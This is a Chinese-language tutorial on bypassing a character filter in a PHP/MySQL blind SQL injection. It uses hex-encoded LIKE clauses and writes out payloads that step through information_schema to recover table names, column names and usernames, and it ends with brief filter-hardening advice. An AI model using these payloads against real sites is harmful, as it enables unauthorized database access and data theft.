今天来分享一个绕过过滤比如 ' " ( ) %
等字符的场景,测试环境为 PHP+Mysql
php 代码通过 HTTP GET 参数 param1 接收用户输入的内容,然后经过自定义的过滤函数 input-filter
过滤可能导致 SQL 注入的特殊字符。
在 SQL 查询中,用户数据($user_input)作为列名插入到查询语句中,比如:
$query = mysqli_query($connection,"SELECT $user_input,time FROM stats WHERE depth = '$depth' ORDER BY times ASC");
应用程序代码执行 SQL 语句后,不会在页面上输出任何内容,那么就无法使用联合查询的技术来获取数据,而代码中也未使用 mysqli_error()
函数来打印错误信息,那么也无法使用报错注入的方式来回显数据。
唯一可以利用的技术就只有盲注了,而当前环境的代码中对常见的特殊字符进行了过滤,过滤列表如下:
" < > = ' ( ) & @ % # ;
当我们使用机遇布尔盲注的有效载荷时,比如:
from dual where true and 1< ascii ( substring ( database (),1,1 ) )
经过函数过滤后,变成了:
from dual where true and 1 ascii substring database ,1,1
<、(、)
被过滤了
假如我们使用 URL 编码特殊字符,但是,URL 编码中都包含特殊字符 %
,也是被过滤了的,比如:
from dual where true and 1 %3C ascii %28 substring %28 database %28 %29 %2C 1 %2C 1 %29%29
过滤后变成了:
from dual where true and 1 3C ascii 28 substring 28 database 28 29 2C 1 2C 1 2929
在这种情况下,我们利用漏洞的方式是盲注,为了避免过滤特殊字符,结合 where 条件,使用带有十六进制表示的 like
子句。
like 子句不仅接受单引号中的输入内容,还支持十六进制的内容:
Text Hex encoded value
%user% 257573657225
比如:
select column_name from table_name where value_in_column like '%user%'
使用十六进制编码的语句:
select column_name from table_name where value_in_column like 0x257573657225
假如我们有个表名为 auth
,使用 like 子句来查找该表名的第一个字符 a
的有效载荷:
select table_name from information_schema.tables where table_name like 'a%' limit 0,1
使用十六进制编码的 payload:
select table_name from information_schema.tables where table_name like 0x6125 limit 0,1
在上面的案例中,用户输入的 payload 为:
table_name from information_schema.tables where table_name like 0x6125 limit 0,1-- -
后端执行的完整 SQL 语句为:
select table_name from information_schema.tables where table_name like 0x6125 limit 0,1-- - ,time FROM stats WHERE AND depth = '$depth' ORDER BY times ASC
假设表 auth
中有一个列名为 username
,通常情况下的查询语句为:
select column_name from information_schema.columns where table_name like 'auth' and column_name like 'u%' limit 0,1
采用十六进制编码后的语句为:
select column_name from information_schema.columns where table_name like 0x61757468 and column_name like 0x7525 limit 0,1
到目前来说已知表名 auth
,列名 username
,接下来利用 like
查询首字母为 a
的数据:
select username from auth where username like 'a%' limit 0,1
同样使用十六进制编码:
select username from auth where username like 0x6125 limit 0,1
虽然常规特殊字符被过滤了,利用起来比较复杂,但还是有一条路可以走,对于这部分绕过方式的防御,可以在过滤的关键词中再增加一些,比如 select、like
等查询关键词,还有常见的注释符,比如 -、#、/*
等。